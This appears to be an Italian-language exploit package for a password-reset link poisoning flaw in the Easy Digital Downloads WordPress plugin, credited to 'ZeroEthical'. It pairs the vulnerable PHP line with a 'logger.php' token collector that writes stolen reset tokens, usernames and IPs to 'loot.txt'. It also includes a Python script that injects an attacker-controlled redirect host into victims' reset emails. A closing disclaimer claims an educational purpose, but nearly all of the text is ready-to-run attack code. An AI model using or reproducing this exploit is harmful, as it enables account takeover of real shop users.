// Lo sviluppatore ha confidato che esc_url_raw fosse sufficiente... errore fatale.
$message = str_replace(
    '{password_reset_link}',
    add_query_arg(
        array(
            'edd_action' => 'password_reset_requested',
            'key'        => $key,
            'login'      => rawurlencode( $user_login ),
        ),
        esc_url_raw( $_POST['edd_redirect'] ) // <--- PUNTO DI INIEZIONE
    ),
    $message
);

<?php
// logger.php - Cattura il token e l'utente
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');

if ($key && $login) {
    $log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
    file_put_contents('loot.txt', $log, FILE_APPEND);
    echo "Manutenzione del sistema. Riprova più tardi."; // Ingegneria sociale base
}
?>

python3 exploit.py

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CONFIGURAZIONE
TARGET_URL = "http://vulnerable-shop.com/" # URL radice del negozio
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php" 

def poison_reset_link():
    print(f"[*] Obiettivo: {TARGET_URL}")
    print(f"[*] Vittima: {VICTIM_EMAIL}")
    print(f"[*] Avvelenamento link con: {ATTACKER_HOST}")

    # Payload per iniettare il reindirizzamento
    data = {
        'edd_action': 'user_send_password_reset',
        'user_email': VICTIM_EMAIL,
        'edd_redirect': ATTACKER_HOST 
    }

    try:
        # Inviamo la richiesta all'endpoint principale (o dove EDD ascolta il POST)
        r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
        
        if r.status_code == 200:
            print("[+] Successo! Email avvelenata inviata.")
            print("[*] Ora attendi che la vittima clicchi sul link nell'email.")
            print("[*] Controlla 'loot.txt' sul tuo server per ottenere il token.")
        else:
            print(f"[-] Fallimento. Codice stato: {r.status_code}")
            
    except Exception as e:
        print(f"[!] Errore: {e}")

if __name__ == "__main__":
    poison_reset_link()

Questo software viene fornito SOLO a scopo educativo e di ricerca sulla sicurezza.
L'autore (ZeroEthical) non è responsabile per l'uso improprio di queste informazioni.
Attaccare obiettivi senza consenso preventivo scritto è illegale e può comportare severe azioni legali.
Usalo a tuo rischio e pericolo in ambienti controllati.